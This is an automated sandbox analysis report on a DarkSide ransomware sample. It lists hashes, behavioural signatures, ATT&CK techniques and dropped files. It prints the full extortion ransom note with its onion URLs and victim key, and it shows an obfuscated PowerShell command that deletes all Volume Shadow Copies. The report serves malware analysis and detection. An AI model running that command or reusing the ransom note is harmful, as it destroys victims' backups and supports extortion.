Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

  • max time kernel
    140s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-01-2024 19:36

General

  • Target

    68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

  • Size

    59KB

  • MD5

    9e779da82d86bcd4cc43ab29f929f73f

  • SHA1

    e6b47869caa776840ab79856b04096152103c71d

  • SHA256

    68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7

  • SHA512

    e0a172b862054b63c26e8852019cbd46b68c6102e4bae802ba851ae950798d336295795c0cc5d68002a0467c62e5800f1ecfdae05de2709d57bcc31375276bb7

  • SSDEEP

    768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylzrQ/8P+hY23W58:0x7Fu4/ihrhDTV1ylzrzPdZ58

Malware Config

Extracted

Path

C:\Users\README.17bbd9f8.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 30GB data. These files include: - Accounting - Finance - Internal documents - Insurance Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM When you open our website, put the following data in the input form: Key: 9mMrqcP7meAPxAvXF25ONPJ4KqIozRuGzFKqvsN4XCuThdVZqteuONtPOu4gYqMXcEcWUx5wELPmbMsI2CcmFySRZJDqPLc8rvxUGJg12wuZki8EizCFaG5L8oQTfgOCvMrTkxmSmVhcSjQt340z9fXWhyQzy96XBkwAzIWp5uviJyAZ9ZBKDlodGa6SDkIFdYVlVQi7R9qzQE4G2KqmQ6Tmim4kCalkH4dBxGYkUC1wCyCncUMAWD7egCaKoKGlHiK99ANxmxFulbvoV8vjn2ArqDm46RNzoMk8C9QGpPsPL0GGppW1izBwguSXug4DrPjvvAmZVJzLrGx0LEH8srhneZnfrSLHm2tDwmOog8obV8IMYF41AuvVX1JyzDkhU282ECvBXDBb7URumIHdSnnVOKCVTKmuC1R3srHwxmd6RweVC1IkvHD7Bt7ybXffJVfRkyhMdpXHLREpoWItO1tlQZxvBUKZlrd7hJGSwZSlR3NWx61XMxuptxrXt7ZOHNJ4AkeJ2FvepgCazbuV57FP38CVC4mHsxyBWCDioj4RmEhA0AMn5Z5 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv

http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (155) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
    "C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4016
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4932

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    71444def27770d9071039d005d0323b7

    SHA1

    cef8654e95495786ac9347494f4417819373427e

    SHA256

    8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

    SHA512

    a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3pkk0fv0.n4p.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\README.17bbd9f8.TXT
    Filesize

    2KB

    MD5

    15e656071a642f9e91605d74367f7ec7

    SHA1

    ff9da8ec309210e2324dbe4a79d416f90de285c0

    SHA256

    b09cb9d531931fb4725b0e49d85bb81cfc2691ce19ff3567ca0f7b44af6594a1

    SHA512

    c2d948d143863b4a349c992921f442708e5fb7c6226ff264abe1b8d370fb75abb821b09c9f786a19296e183e78e85a2815774728737eff6710bc4578ef8f37de

  • memory/4016-12-0x00000204529C0000-0x00000204529E2000-memory.dmp
    Filesize

    136KB

  • memory/4016-17-0x00007FFA95F80000-0x00007FFA96A41000-memory.dmp
    Filesize

    10.8MB

  • memory/4016-19-0x00000204527E0000-0x00000204527F0000-memory.dmp
    Filesize

    64KB

  • memory/4016-18-0x00000204527E0000-0x00000204527F0000-memory.dmp
    Filesize

    64KB

  • memory/4016-22-0x00007FFA95F80000-0x00007FFA96A41000-memory.dmp
    Filesize

    10.8MB